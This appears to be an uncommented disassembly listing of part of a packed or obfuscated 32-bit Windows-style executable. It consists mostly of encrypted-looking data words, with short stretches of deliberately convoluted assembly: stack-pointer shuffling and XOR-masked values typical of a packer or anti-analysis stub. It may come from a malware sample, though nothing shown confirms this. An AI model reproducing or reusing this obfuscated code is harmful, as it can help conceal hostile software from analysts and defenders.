		dd 6655DB75h, 10343215h, 676E6C56h, 1A2C11AAh, 5B86842Bh
		dd 935AEF66h, 69C90974h, 66883897h, 0B57DCA15h,	8A91B41Ah
		dd 34E8CDEAh, 668833AFh, 3C921B15h, 66223BFCh, 66D015h
		dd 8DC73FCDh, 0E74B4B83h, 6622321Dh, 6613BC1Ah,	7E83215h
		dd 0EF40DE96h, 52A31621h, 0BE6A7B31h, 97096B36h, 459C495Ch
		dd 0D6E3B3E9h, 0E7005F23h, 7C8D68FCh, 0E7BD1B24h, 7C2768D4h
		dd 0D6F8B324h, 69995F23h, 66442396h, 662EDB15h,	4E063215h
		dd 7754F2F5h, 0FD416321h, 0D975BBE0h, 66113210h, 5A03CB3Ch
		dd 6280B331h, 69223215h, 66113E94h, 600A3D15h, 69443215h
		dd 66223292h, 57A26115h, 985A8447h, 0C18AB2DBh,	80A2E4E3h
		dd 3EDFB204h, 0EE28DC95h, 0BE4468E5h, 6942524Eh, 3E41E5AAh
		dd 7808374h, 0AE75CBBFh, 0AE13F324h, 661DBC1Ah,	0E9873215h
		dd 66443213h, 6622BD1Ah, 69BA3215h, 66883E9Fh, 6643DB15h
		dd 1EBF3215h, 1D498F32h, 0B737DB98h, 60ADCDEAh,	4C223215h
		dd 449DB82Ch, 663163FCh, 0E7443215h, 3334E5FCh,	0E7E0337Eh
		dd 339EE5D4h, 3F45B87Eh, 0DA9B5475h, 0B79A5448h, 67063D74h
		dd 93443215h, 0E22DDA29h, 66113258h, 668820FCh,	0F3EEDE15h
		dd 6A2FDD78h, 0D8D1C088h, 3264C5F4h, 31295363h,	6A078F40h
		dd 8BD01A27h, 915DC517h, 4981B3C8h, 0A7658351h,	939031F8h
		dd 6CBF8AF2h, 0EF19DD9Ch, 8FDA6DEDh, 66113370h,	0D187C775h
		dd 0E14B53E7h, 66223214h, 859861E9h, 668CF194h,	8DC73215h
		dd 423EB511h, 420DBB49h
		dd 940160E9h, 4268B347h, 20D64FC3h, 0B0D2B34Eh,	3CCEC668h
		dd 67FE60EDh, 67223215h, 0ED0B31E7h, 0A20B1601h, 8EF45211h
		dd 6626BB1Ah, 0DC773215h, 0E5E9FBA8h, 52CD36F9h, 66278C31h
		dd 95103215h, 6686DB4Bh, 216A3215h, 6BFBDB82h, 0CF618853h
		dd 90BF13CEh, 0A6D78047h, 8CA231FFh, 0B399633Fh, 3CD1DA9Dh
		dd 66443FFCh, 0C3992B15h, 0C374C6FEh, 3100440h,	75AD4594h
		dd 7E223215h, 9448A41Eh, 88CB7451h, 249258A2h, 0E26AC45Ah
		dd 9FBBE56Ah, 7C78F194h, 8DC568D0h, 3873508Bh, 0A590C93Ch
		dd 38D9508Bh, 7CB4D994h, 0EDA68D0h, 661102D5h, 0D9AC0E9Ch
		dd 66443211h, 8F7DC93Ch, 66113213h, 1460FDC3h, 0BE755F9Bh
		dd 0BE13F124h, 0B69A5475h, 135AB373h, 724533Eh,	662CDBBEh
		dd 0F043215h, 4BFBBF88h, 5E1F1C1h, 6B993376h, 6619BF1Ah
		dd 0EB873215h, 66443217h, 7AA95375h, 86986231h,	66883610h
		dd 6284B115h, 3A063692h, 66113CFCh, 1FD86415h, 81E8033Ch
		dd 8FB6DE22h, 33090B9Dh, 668D8D42h, 9BCD3215h, 3BCC334Ah
		dd 661137FCh, 49E67B15h, 672C64ABh, 0ED223215h,	0A2901611h
		dd 66883211h, 69ADF1ECh, 11223215h, 90843F7Bh, 0D6053A03h
		dd 0A6023138h, 60CBE5D7h, 9F113215h, 42E28FCCh,	6ACB5ABFh
		dd 6AAB3215h, 0FBA85231h, 7F02469h, 72CD73h, 42063694h
		dd 495470h, 42325447h, 0B66D5470h, 6ECB6873h, 17113215h
		dd 0F843809Bh, 5A5FAC3Bh, 6EA63DD6h, 69113214h,	66883796h
		dd 0D14B5215h, 0AD1E53ECh, 66E4B61Ah, 74613215h, 9B443215h
		dd 0CEBEA88Ah, 5368F6D4h, 4543BFF0h, 2FC74DC5h,	69E00ECAh
		dd 6611CE91h, 0E687CA15h, 66443214h, 69E80EE0h,	6611DE91h
		dd 5BEECE15h, 0E24B17EAh, 66223307h, 66113FFCh,	241D4315h
		dd 3354C159h, 96A24766h, 5B77C3F4h, 0E387CD3Bh,	6644324Fh
		dd 0DC70CAE9h, 66113217h, 6402C014h, 0E760269Eh, 662236D1h
		dd 6603DB15h, 8ADE3215h, 8DEC04B0h, 8109297Ch, 35ADCD19h
		dd 0DEA62253h, 25F76144h, 0E679EF9Dh, 8E3161F8h, 669BDB4Ch
		dd 28E53215h, 129D8E1Eh, 31078D9Bh, 38F566DCh, 1A3EC924h
		dd 69820EA1h, 6611F191h, 5277CA15h, 0A2C76B31h,	60AF3D11h
		dd 6113215h, 0F396A45h,	0DC166174h, 66223215h, 0EF4BE19Ch
		dd 6E869CDh, 6644BF1Ah,	7433215h, 661091FCh, 760C3D15h
		dd 8F443215h, 6622321Eh, 0EC0AB078h, 0F1760B53h, 57567713h
		dd 6FCB52DCh, 0CE113215h, 0F8CA4D9Ch, 99EB0C12h, 3E435246h
		dd 67A96274h, 67883215h, 8FBD6AD4h, 66223294h, 689F5AE9h
		dd 5A013215h, 1AA18D31h, 809B7D5Bh, 575E7C69h, 6D616DECh
		dd 6443215h, 61475C4Ah,	18E7FF1Ah, 3061F4F5h, 69443215h
		dd 6622339Eh, 6079CA15h, 0ED883215h, 0A2C51619h, 66223211h
		dd 662ADBE9h, 8F743215h, 66443219h, 0BA5BCFCAh,	0EF7B324Dh
		dd 0CAB600BCh, 66438C43h, 97AB3215h, 0E735069Eh, 668836D1h
		dd 67C63D15h, 9A223215h, 66113EFCh, 3D9E6915h, 0F1341AD2h
		dd 0A01C3E8Dh, 9EB5C151h, 0A8036475h, 0DC86B34Ch, 7461667h
		dd 4028BF9Eh, 8FE835BDh, 66443206h, 36B8999Fh, 0FDD07B28h
		dd 42FABC24h, 4CF92BA7h, 8E780058h, 66113210h, 668BAFFh
		dd 9CCF546Ch, 0E642534Bh, 0B991AAF4h, 0AF0D53F5h, 667BB71Ah
		dd 0E6423215h, 77F804F1h, 21883215h, 141AFE60h,	0D781DE41h
		dd 397A8EE2h, 0E4B5B96h, 6649DB74h, 0DAC3215h, 0ABDDC044h
		dd 4496A7F0h, 0EFF13786h, 0CE040BA0h, 609F3D12h, 6883215h
		dd 8DCE74A2h, 4216CD74h, 62D5B34Ch, 8F883215h, 6644321Ch
		dd 0A404C4F0h, 6DA8E858h, 1C3567F4h, 0E73C533Bh, 9023CBF8h
		dd 0E4AA616Dh, 6FE3BF0Bh, 0ABC569C8h, 3D0B7546h, 19C3C794h
		dd 8E01CDFAh, 7FCC3D48h, 69223215h, 6611219Ch, 6686DB15h
		dd 0BFD63215h, 0FFC98A75h, 9EB45C3h, 0AF3FD1F6h, 62452D6h
		dd 89A35474h, 0E7704693h, 6F9924E2h, 0B15315h, 0E74404EAh
		dd 2F231611h, 428CB973h, 46F696h, 66B0038h, 87B38A73h
		dd 668FDA75h, 6A6E3215h, 128440A5h, 3F416CB2h, 5A745374h
		dd 0C4C03DD6h, 93223214h, 34D0BA44h, 9500FC9Dh,	34246B4Fh
		dd 66223CFDh, 98A315h, 47FF919Fh, 0B6C15FAEh, 38F8E3F4h
		dd 0B1AE3D4Fh, 0BB3C6274h, 0E6EEFE95h, 82A27DD9h, 0A7E5B224h
		dd 6203D135h, 6280B131h, 16D9B2E0h, 6575B61Ah, 5A743215h
		dd 34C03DFCh, 69223214h, 66112D97h, 7F0C3D15h, 8F443215h
		dd 66223201h, 0F1160F3Bh, 0CDB92BCh, 7CDC076Fh,	0FC7DDEC5h
		dd 6E5A81C9h, 0E287D929h, 66443330h, 87A35275h,	86FDEA9h
		dd 3D59B373h, 91C553E5h, 171B54D3h, 6616DB74h, 51163215h
		dd 0E3869CD8h, 69E00E6Ah, 6611CE91h, 0E187CE15h, 66443214h
		dd 69E90EECh, 6611DE91h, 5BEEC715h, 0E24B17EAh,	662232F4h
		dd 0F5F7B375h, 0E79695D2h, 0B332DFE4h, 0AC1E5336h, 66DAB61Ah
		dd 5A7D3215h, 0ADC03DF6h, 8F223217h, 66113210h,	0E81619B1h
		dd 5B22CA14h, 0E32DCD3Bh, 66113298h, 66883BFCh,	51395D15h
		dd 0CBA71AF7h, 0DC434E2Dh, 66883217h, 3D1DF094h, 94230C28h
		dd 3D48D894h, 64020C28h, 6641DB4Fh, 6EC23215h, 3514BF32h
		dd 89085FA2h, 90A3E2A4h, 0A6FDC4C2h, 0D64136F2h, 6240CC1Dh
		dd 4E1606FEh, 9E026AD2h, 6600DB4Eh, 0B0EF3215h,	2EF226D0h
		dd 57EEA4D1h, 99ED800Ch, 5AF55839h, 24C03DB5h, 6223215h
		dd 9049F294h, 7760510Dh, 8A443215h, 930532DEh, 9DFB4768h
		dd 172DCB30h, 0A343B96Dh, 39EAB973h, 44AA6174h,	25BE7732h
		dd 41678F40h, 8D0B0450h, 3DC9BB48h, 66A5DBE0h, 243215h
		dd 0B5A9FD9Eh, 5FA4BB74h, 938F9A33h, 0C5A7AF98h, 63CB35BBh
		dd 7113215h, 0C7CE7002h, 0EBDE1EAh, 66223214h, 0E535369Eh
		dd 0A57436D1h, 66C33D75h, 93223215h, 86986274h,	66883610h
		dd 62ACB115h, 3A063692h, 635369Ch, 668EDA43h, 13813215h
		dd 47055E57h, 61F86D4Fh, 6E883215h, 975187Ch, 69439F25h
		dd 66112092h, 6E615215h, 0E7443215h, 64AE5840h,	695FA563h
		dd 37E9CDAAh, 664422ACh, 27CBB315h, 6716BB24h, 2749B3E4h
		dd 0ED43BB24h, 0DD426B14h, 5A00D24Bh, 3CE95247h, 0DFC1BB74h
		dd 6259A1Ah, 6616DB46h,	0DFD23215h, 6C91849Eh, 0A8A36DB4h
		dd 351EF486h, 428CB974h, 0E7A2BB43h, 662236D3h,	62D7B115h
		dd 3AAC0692h, 664EB11Ah, 63CB3215h, 8A113215h, 0F8DA2FBAh
		dd 0DD1767E0h, 71B02D65h, 0BF19EA8h, 3D5533FDh,	6919DC14h
		dd 6622339Ah, 0DB9CC715h, 61201608h, 664437FCh,	375C7B15h
		dd 8FBCC93Ah, 66883201h, 3DD9AB1h, 89C04EDDh, 0B79B8E1Dh
		dd 8646D558h, 31B0F23h,	0FF156210h, 4255315Dh, 36376531h
		dd 4F0CAB22h, 0CDDE6DEDh, 3BACBFE9h, 8F8F9A1Ah,	6644321Ah
		dd 1DF677ADh, 5C3A22DCh, 0D60B6A20h, 0CB47BA96h, 662221FCh
		dd 0CBAC6815h, 0F7515735h, 544C57CCh, 0BAECD952h, 0BB0D2CB2h
		dd 0C392F838h, 3B873738h, 2221365Ah, 0A53C1631h, 638C7D48h
		dd 4BE128DFh, 2A405AECh, 62983215h, 9323CE31h, 6642B61Ah
		dd 36423215h, 74F654Dh,	6C618F98h, 6DAD35BDh, 1C223215h
		dd 0DB97C3DCh, 8413334h, 8FE95DBAh, 66223213h, 35B9BCD2h
		dd 0A8DA0C7h, 65739E5Fh, 330A1651h, 0CA5B5EA8h,	3B601B22h
		dd 0E722CE75h, 75564E6h, 6601DBBEh, 0A2DF3215h,	7FA0EF52h
		dd 6E15413Ah, 60A33901h
		dd 5277061Fh, 0A2C76C31h, 6624DB11h, 12B23215h,	0D8892E97h
		dd 6648DBD6h, 265D3215h, 0AA2DDA6h, 72485A33h, 0EF163E96h
		dd 62E0B3F7h, 0E5113215h, 720F36FFh, 52CD6E31h,	6628DB31h
		dd 62DC3215h, 8CF028A5h, 13E6D175h, 0C53EAF98h,	0DE7135BBh
		dd 55691242h, 39E98873h, 6F1CD74h, 39EBB942h, 668CB71Ah
		dd 0DD223215h, 8F439B9Eh, 99EECF98h, 669EBD1Ah,	0ED243215h
		dd 662FDBD4h, 53A33215h, 40347675h, 0ADB0F3ADh,	618B1A1Dh
		dd 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 3AC0D5F2h, 96A5EAE6h
		dd 152AA8EDh, 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch
		dd 5E89798Ah, 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah
		dd 152A382Ch, 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah
		dd 51D6AC8Ah, 60D554A8h, 59D7BA86h, 724ECE25h, 0DCF14225h
		dd 0BA426F32h, 0D871BA8Dh, 42C3A8EDh, 0AEA2458Ah, 60D558DDh
		dd 2538C882h, 462DFBCFh, 3999DF07h, 0C6D55307h,	0B85E0003h
		dd 152A5492h, 0AEAE3075h, 8FA75CDDh, 560D220Ah,	2EB0D9FBh
		dd 0AEA5EAE2h, 0E96FDD7Bh, 51A25863h, 195FABA8h, 0DCAA3075h
		dd 0BA4DD832h, 0CB2F168Dh, 12853C93h, 142B9675h, 152ABD54h
		dd 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h, 0E8000030h, 9, 5456D56Ah
		dd 941A54A0h, 8E0F6Fh, 5B000000h, 5E9h,	75A2E300h, 0C381BCB9h
		dd 5BF6h, 2B73CD80h, 1F34FFFFh,	14E9h, 4F8DA100h, 46EF406Bh
		dd 0A0A40774h, 4BB56504h, 0EBFBF09Ah, 0BF0F5E72h, 9EEE81D3h
		dd 0E963DC20h, 0Eh, 0BA0A64F2h,	34DDD72Ch, 573D7E7Dh, 0EE8135D6h
		dd 844F1A2h, 0FFD18166h, 22F68154h, 0E83994FDh,	8, 525B23C4h
		dd 81BAB11Ch, 8E8h, 17DDA000h, 0DCC150CEh, 0C88B66C0h
		dd 34895858h, 0BE93Bh, 438F0000h, 6A08CDC1h, 8311E541h
		dd 5E83Bh, 0A5FC0000h, 0F53CB1C6h, 83EF8358h, 0A4F305E9h
		dd 0A4E4CB8Bh, 0D5B13ADDh, 0E8383D56h, 15B13256h, 0B55DB937h
		dd 5DB127D3h, 25D75256h, 57BADB87h, 2E023256h, 7F99A390h
		dd 0E12F2C0Fh, 9D4953BAh, 0BAB13256h, 0E983B30Ch, 0B0A4F305h
		dd 0F29D11F1h, 2375FD7Ah, 0CD7D17FBh, 0D525FAD5h, 0ADFDF53Fh
		dd 90DA9289h, 0CFB73422h, 0B723AC7Ah, 1A20AD29h, 7975FD7Ah
		dd 95987C27h, 0A072520Bh, 831A87FFh, 0A4F305E9h, 0BD8DDB8Bh
		dd 7AFDD89h, 660F8D8Dh,	44B807B0h, 2B321566h, 2E9C1CFh
		dd 0C8D00731h, 4904C783h, 8160F675h, 0C72C3CCEh, 9E966h
		dd 0F5D70000h, 0F53628ADh, 610001C6h, 9DF8160h,	6616FD6Ah
		dd 5061D68Bh, 8324048Bh, 14E904C4h, 73000000h, 3349BFA7h
		dd 0D08BD3B0h, 3FE22CB7h, 353668CCh, 83E0778Ch,	0A827F9BDh
		dd 9750007h, 605BD83h, 740007A8h, 8B535019h, 411B8C0h
		dd 85890000h, 7A80ECDh,	0B08A9D8Dh, 0D3FF07AAh,	0BD83585Bh
		dd 7A80605h, 50177400h,	411B853h, 85890000h, 7A80ECDh
		dd 0AD2B9D8Dh, 0D3FF07AAh, 60F5585Bh, 0F8D1B70Fh, 0B70F6061h
		dd 12E8D8h, 66120000h, 0A7781D0Dh, 998E266Ah, 5C92AA93h
		dd 0F2B8E199h, 5ACB8B66h, 48B5061h, 4C48324h, 0C890Fh
		dd 820F0000h, 6, 840Fh,	0E9F80000h, 1Eh, 17E5878Ah, 6 dup(0)
		dd 0BFE90000h, 9D000004h, 0DDC6DBFCh, 1A03183Fh, 5B44597Eh
		dd 9A8398BFh, 0B9C7DCFBh, 0D1C69510h, 1304D3BCh, 574015FEh
		dd 9EB95942h, 0C40AA989h, 0CBA9078Eh, 0C74CFA94h, 0B8350017h
		dd 879042E5h, 0B6685166h, 0BC92B4A1h, 8C2784BDh, 16937088h
		dd 2D665344h, 78556D6Ah, 733E59FBh, 6C3720F6h, 195F2CEFh
		dd 0D3591BE3h, 0F6C1E2E9h, 5D3CA7A2h, 0C04FBAB5h, 888F491Eh
		dd 0BACFF0BDh, 0FE1304D1h, 6A574015h, 1B99CF15h, 989FD359h
		dd 7326A380h, 711E9964h, 0B5A27706h, 24469BA0h,	7385770h
		dd 548A68DAh, 37D35968h, 0D8A57067h, 280B232Ah,	0C966176h
		dd 0D35968D3h, 0FFAB16ADh, 1BA8094Bh, 4E8Eh, 9E3A7300h
		dd 5B3167ADh, 3037D359h, 0C711F70Fh, 0AB350017h, 0D3597073h
		dd 9F4BB64Dh, 1BA801EBh, 12Eh, 15C72C00h, 499E3702h, 5970CD03h
		dd 0B4CCD3D3h, 491403D1h, 8C700ECCh, 0CA4E542Bh, 6FC38EAFh
		dd 0DA7A0974h, 1FBFA8BDh, 0ABF7E3F8h, 1C325489h, 4E10D35Fh
		dd 2D102849h, 219E696Eh, 0D4996473h, 12C150BBh,	5707F005h
		dd 20F87540h, 2A276C37h, 159F4D08h, 81990638h, 6B4FFB66h
		dd 0CE1BA724h, 3Fh, 314C7CCh, 0FA1DBB38h, 75E0DB2Fh, 0B2037E6h
		dd 99647322h, 8E597E1Ch, 19C53049h, 1BA7FF21h, 3198h, 14C79600h
		dd 0A9F41603h, 0ECDE7120h, 0CD4A273Fh, 0FB440F08h, 2DF07FEAh
		dd 0C729152Ah, 0AD370215h, 0D3597074h, 0A04CB74Eh, 1BA801EAh
		dd 12Fh, 11C72D00h, 1CBE3B06h, 8B530FBh, 4D4A0E9Dh, 4D898E38h
		dd 8FC50B60h, 95D35970h, 3177768Eh, 0DB018450h,	1B3CDE17h
		dd 4F3C4303h, 0C218FA2Dh, 0F3ADE64Ch, 0BB81D2B9h, 27041C0Dh
		dd 9483558Eh, 45F9997Ch, 6C14BF9h, 31466727h, 0B6819648h
		dd 1B4F42Ch, 8FFA0BDBh,	24395E00h, 0B17C9B3Bh, 0AA756234h
		dd 36C6E8E5h, 0A115FEF5h, 0D8435E76h, 798E8949h, 19805274h
		dd 0F6AB9548h, 3794DEDEh, 518AE3FFh, 4D83C982h,	53DB022Eh
		dd 0F7132B4Ch, 12Eh, 0C51106F5h, 9D9D92D8h, 9CA3DB01h
		dd 958254D1h, 20C79780h, 6F3A5B7Ch, 6C3720F2h, 78238EA7h
		dd 0B37E993Fh, 2BEBCEE6h, 5911172Ch, 0A0E3FFD2h, 33h, 0C115069Eh
		dd 70388ED4h, 373E5359h, 0FE9AD36Ch, 9BD1C1D9h,	64535970h
		dd 0A0D984EFh, 4613DEF9h, 45898A2Eh, 70BC1258h,	0BBC2D359h
		dd 0C862A6h, 6A40000h, 0B6D8C511h, 0E113A14Bh, 0FA307653h
		dd 0D358E1h, 0C1C0D8F9h, 0FE267Bh, 0B8C2CDBh, 351D3EDh
		dd 926AA0E6h, 6970DB00h, 0C35C2748h, 6EBAA6A1h,	5107C756h
		dd 8DAE7B46h, 0D7C09275h, 0D784BDC2h, 15C5A8C0h, 0C5908752h
		dd 820CD7F8h, 0DB015747h, 53E24D5Eh, 2631E483h,	0C9EBF005h
		dd 394A2F82h, 0C29E01C1h, 0ED345FFh, 9F781C34h,	0D3F54A37h
		dd 85307668h, 0D208E647h, 0D8DB00D6h, 65BAB9D1h, 0D694CA10h
		dd 939ADB00h, 3F588B7Bh, 575EE2B1h, 6DD1F38Ch, 770B35DFh
		dd 0A171546Ch, 0A96EEBB6h, 0B666E3AEh, 0A004D808h, 4A6BFC0Ah
		dd 0EC57047Fh, 26913E0Dh, 0A89541D6h, 60F32F62h, 1BBDF6EAh
		dd 1D24E4FCh, 89AB1C08h, 250CEE44h, 1700D6C1h, 8D5E7F4Ch
		dd 3704CFC8h, 3A9A7B1Fh, 0E9D6F84Dh, 5969B1FEh,	98A410CAh
		dd 2035BF6Ch, 2DE51808h, 0E4EBDB09h, 1EBED5F7h,	1644B586h
		dd 0F2A421FEh, 18BFF8E5h, 0E0B734FFh, 3E5F2CF7h, 4416FF26h
		dd 68446653h, 81B7FDEBh, 87DB087Ah, 2897C680h, 7903E0F8h
		dd 0EB5EA0BFh, 0BA65D0CBh, 4013D481h, 3B1E3657h, 62677C9Bh
		dd 9F6A6D29h, 7D7BAD2h,	12C84510h, 0A0BDF339h, 0BCC3EB5Eh
		dd 8153D09Bh, 8F4ECB96h, 9542BD88h, 0CF7C4B2Ah,	4605D564h
		dd 5EA0CA00h, 6530D0EBh, 26092DADh, 1328496Ah, 0A46F682Ah
		dd 3CCh, 3EDC0E00h, 360116C7h, 33FE19B9h, 2BF6E1B6h, 21ECEBAEh
		dd 1BE6F1A4h, 0DD8FF9Eh, 2CDCA90h, 0F9C4D385h, 0F4BFD87Ch
		dd 0E089503Ch, 405h, 4E88300h, 31240433h, 4332404h, 89575C24h
		dd 4C781E7h, 83000000h,	3C8704EFh, 1C895C24h, 57D36824h
		dd 14890000h, 33236824h, 3C890000h, 692ABF24h, 0FB8907B0h
		dd 3C6D685Fh, 24890000h, 24048124h, 4, 0BA52535Ah, 4E9F2B36h
		dd 4245431h, 8428F5Ah, 36087281h, 8B4E9F2Bh, 89512414h
		dd 4C181E1h, 83000000h,	0C8704C1h, 34FF5C24h, 0C4815B24h
		dd 4, 0F811CAE9h, 60B80AFFh, 307B06Dh, 0B6E0FFC5h, 49444CF8h
		dd 0B4704FD2h, 586E66C0h, 0E83FAB8Dh, 650E78A9h, 0E82DDE94h
		dd 5, 6B771DB2h, 0EF815148h, 53B8668Eh,	8B665B5Eh, 8FC381F0h
		dd 6600005Ch, 0BAF98Bh,	60000000h, 0BE8h, 963B1300h, 6CFD449h
		dd 58BC564Dh, 90A3B966h, 48B615Bh, 12E913h, 49EE0000h
		dd 88CFF61Ch, 0A84299AFh, 4551F4B7h, 1698F1E3h,	6AD0F081h
		dd 0B4BF3777h, 81231D94h, 99DE77E8h, 0CE816642h, 0C081113Eh
		dd 6A537A44h, 1800Fh, 89F50000h, 8E91304h, 0C1000000h
		dd 19C6BD5Dh, 8161DBE9h, 8DFCC0EAh, 1BE6657h, 0BCC28100h
		dd 0E9578DFCh, 8, 0D834125Bh, 2B7F681Bh, 0A41CFA81h, 850FFFFFh
		dd 0FFFFFF8Ah, 0E9F28B66h, 38h,	4F38713h, 0Dh dup(0)
		dd 4ACE9h, 70296800h, 0A8E907B0h, 68FFF810h, 7B070A3h
		dd 0F8109EE9h, 71C568FFh, 94E907B0h, 0A9FFF810h, 0F1DAEFE8h
		dd 361F3423h, 77607562h, 0B69FB4A3h, 0CDDBF0E7h, 0EDEAA9FCh
		dd 2F28EFD8h, 7364311Ah, 0B2A5755Eh, 0D81EBD9Dh, 0CBA901A2h
		dd 0C7600EA8h, 0BB380314h, 0BA0FFC1Bh, 0F7C2D581h, 70164C2Ah
		dd 151CD359h, 2B2CD6FDh, 87A9FEEBh, 0D2124A4Ah,	0E1E89AF8h
		dd 6B038F49h, 0FB317764h, 1D358F8h, 5F2E2FAh, 0BDB0123h
		dd 3EDE1704h, 86914819h, 0CD07916Eh, 0E8DB0123h, 0F2B864CFh
		dd 47E3F04Ch, 2CDh, 0E26FC345h,	6EB4A175h, 0DB01764Dh
		dd 55234C53h, 0D866DC94h, 8875A1B6h, 9AB4D266h,	56057654h
		dd 88A97641h, 0C71C7170h, 4F62C72h, 0F5FCD867h,	6705E117h
		dd 0C8E0E7D8h, 0F1E33D8h, 673239E0h, 0FD3379CEh, 3E00F1Dh
		dd 686F2BFCh, 14B8D09Dh, 0A0E6D303h, 0E7B75A45h, 3195B70Ch
		dd 17D2F942h, 0A61F5533h, 1E25E7B6h, 7293F64h, 0CFE7FD86h
		dd 0E21B080Fh, 29122730h, 0A7766E69h, 68E7694Ah, 2DBFBD3h
		dd 0FD9E0000h, 38DCC5DAh, 77210A1Fh, 0B4624B60h, 0F6A58EA3h
		dd 0BBECCE1h, 0C7DCFB9Ah, 71C3BDEh, 495E791Eh, 8499BE60h
		dd 89BF05A4h, 8FCBA900h, 110647F5h, 707DB3F9h, 0FE44D359h
		dd 0D35970C8h, 1219C7CEh, 64859241h, 2CE92277h,	0B023132Bh
		dd 0B6DB09DEh, 346DC2AFh, 7C5F7760h, 0A4A9BED9h, 96AEA96Bh
		dd 2CF7E0B3h, 9DE67A2h,	8F884ADBh, 843C9697h, 16EE83F4h
		dd 261h, 4F647324h, 8CA1B666h, 0CDE2F5A3h, 0C2136E4h, 52677023h
		dd 7D208544h, 0BD5C455Ah, 0FF9C859Ah, 38DAC3D8h, 8B2A0A1Fh
		dd 0A9000F45h, 0CD7B15CBh, 43151106h, 9BBC8954h, 0DEF568AEh
		dd 0F4FBDB09h, 0C0BCE07h, 710C441h, 364E6F3Ch, 0DF95CF59h
		dd 97B0DB09h, 6CCA802Ch, 6E0FE3E8h, 0D000001h, 350017C7h
		dd 0DCF1E6B8h, 4F12532h, 1987DBEh, 8F7C83DBh, 79918656h
		dd 98D8129Ch, 0DAF3DB01h, 258FC36Fh, 3C52E3F0h,	50000000h
		dd 0D8C51106h, 1765D92h, 6F5C63DBh, 12C56236h, 4C6D3A05h
		dd 93CD5734h, 0AEDB0176h, 347E2A95h, 2AE3FFFBh,	683324F1h
		dd 6A5389CFh, 5259DB01h, 9ABD6031h, 0AE6682h, 0C7640000h
		dd 9C350017h, 83C4BB7Ah, 4A1B89BAh, 91748C8Bh, 8D0AD5C2h
		dd 0D07D31CDh, 0B16B6C2Eh, 78995A38h, 696E30ADh, 0EE025E54h
		dd 35E5D358h, 0F2630D22h, 45EF3522h, 4BDB039Ch,	7F1E5744h
		dd 0E93E4358h, 39C6DA3h, 9B6C73DBh, 0DDC0D8FFh,	621193Eh
		dd 0FFF49E7Ah, 13F926Ah, 51020000h, 94483146h, 0D3856E83h
		dd 10C6AFC4h, 4A09F207h, 9F2A384Dh, 2B405706h, 6B809742h
		dd 0ADC2D582h, 0F00512C4h, 0F52B7110h, 0FBCBA8FEh, 72ABB361h
		dd 0B79AB2A5h, 0ABE127E4h, 0B1D35970h, 0B539F0AAh, 5F74FE01h
		dd 9E40293Eh, 86538C79h, 66527991h, 350017C7h, 0DCF1E6B8h
		dd 4F12532h, 1BED1BEh, 7E20D7DBh, 294B3859h, 5D00D04Fh
		dd 0E8A26F3Ah, 1D3558D4h, 2136E51Eh, 0BCE070Ch,	5C74410Ch
		dd 1E7326Ch, 524515DBh,	5AFF383Dh, 9342253Dh, 0FC429784h
		dd 0DB01E7C6h, 5F6597C0h, 9C4A08E9h, 0C8A07D95h, 95h, 0C511060Ah
		dd 8A4A83D8h, 0DDF5C28Dh, 9DF76EDh, 0AA757CDBh,	556A6D2Dh
		dd 0C0ADAA6Ch, 70C3F9Eh, 0F10910A8h, 92728A14h,	837EDE4Dh
		dd 0CEC98918h, 0E5F2A8E1h, 927CB2F8h, 7B82DE4Dh, 0FE373C63h
		dd 40233B5Ch, 1258AD9Eh, 0DE4D92DCh, 0C7FDDBE2h, 0CDDE4D92h
		dd 41DAA5C6h, 5AD5108h,	65B5CDBEh, 912AF516h, 4DF4154Bh
		dd 0F3141BDEh, 3522F8DBh, 4A4D0F48h, 2DDA5532h,	746333C2h
		dd 0B3A4765Fh, 0F10E8h,	0DC520000h, 942AEC25h, 3C6E85A6h
		dd 647C9DA9h, 116C77Eh,	0FE19B936h, 0F6E1B633h,	0ECEBAE2Bh
		dd 0E6F1A421h, 0D8FF9E1Bh, 0CDCA900Dh, 0C4D38502h, 0BFD87CF9h
		db 0F4h, 3Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	7860h
		mov	[esp], edi
		push	75Eh
		mov	[esp], ebx
		push	edx
		mov	edx, 7B06F1Eh
		push	edx
		pop	edi
		pop	edx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		push	ebp
		mov	ebp, 11B00977h
		xor	[esp+4], ebp
		pop	ebp
		pop	dword ptr [ebx+8]
		xor	dword ptr [ebx+8], 11B00977h
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_58941B
; ---------------------------------------------------------------------------
		dw 192Eh
		dd 7329B801h, 0C50307B0h, 0E338E0FFh, 1EFF0328h, 0DE08235Bh
		dd 7D2C27E8h, 3D24E4h, 0DD0D5E88h, 0A2E22AD8h, 9966A45h
		dd 99A22D5Bh, 0F52A4724h, 0CBBC1F42h, 41AC4613h, 0FD407123h
		dd 9F6675ACh, 0E843568Fh, 6C4E6AFFh, 0D6B5008Dh, 5E666004h
		dd 0C56E2048h, 0DCE71A3h, 4AA97991h, 8D1930A1h,	5EBA1AD5h
		dd 7E596BE9h, 2A8E53F8h, 0E9CA016Eh, 25721665h,	672852E1h
		dd 44F50EA6h, 80784EB8h, 6ECF20C3h, 0EDE9118Fh,	60000000h
		dd 0A8D88C66h, 0DF840F04h, 8B000000h, 0A80579B5h, 0FE8307h
		dd 22850Fh, 85C60000h, 7A80619h, 69696845h, 0B5FF8E72h
		dd 7A81895h, 781A858Dh,	0D0FF07ABh, 0A3D8589h, 0F08B07A8h
		dd 0FE93E80h, 3185h, 0CD858D00h, 0FF07AD9Eh, 0C1BD8BD0h
		dd 8107A825h, 1184C7h, 79B58B00h, 8707A805h, 8B9F7h, 0A4F30000h
		dd 579B58Bh, 858D07A8h,	7AC341Ah, 0B58BD0FFh, 7A80525h
		dd 0F00FE83h, 2285h, 1985C600h,	5407A806h, 4EBEF468h, 95B5FFFFh
		dd 8D07A818h, 0AB781A85h, 89D0FF07h, 0A8052585h, 80F08B07h
